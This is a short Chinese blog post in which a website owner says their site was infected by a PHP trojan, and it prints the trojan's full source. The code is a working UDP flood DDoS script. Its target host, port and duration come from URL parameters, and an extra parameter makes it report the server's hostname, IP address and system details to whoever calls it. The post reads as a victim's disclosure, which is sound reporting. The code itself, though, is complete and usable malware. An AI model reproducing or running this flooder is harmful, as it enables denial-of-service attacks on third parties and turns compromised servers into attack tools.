一个PHP木马的代码

By | 2011/10/29

前段时间网站中了一个木马, 被人调用后流量一下就用完了.

PHP木马的代码:

<?php
set_time_limit(999999);
$host = $_GET[‘host’];
$port = $_GET[‘port’];
$exec_time = $_GET[‘time’];
$Sendlen = 128;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET[‘rat’])<>0){
echo $_GET[‘rat’].$_SERVER[“HTTP_HOST”].”|”.GetHostByName($_SERVER[‘SERVER_NAME’]).”|”.php_uname().”|”.$_SERVER[‘SERVER_SOFTWARE’].$_GET[‘rat’];
exit;
}
echo “err”;
exit;
}

for($i=0;$i<$Sendlen;$i++){
$out .= “A”;
}

$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time or $exec_time != 18){
break;
}
$fp = fsockopen(“udp://$host”, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
?>

6 thoughts on “一个PHP木马的代码

  1. Pingback: php 的 ddos 代码 | 纷纭(张欢)-郑州SEO/SEM网站优化

Comments are closed.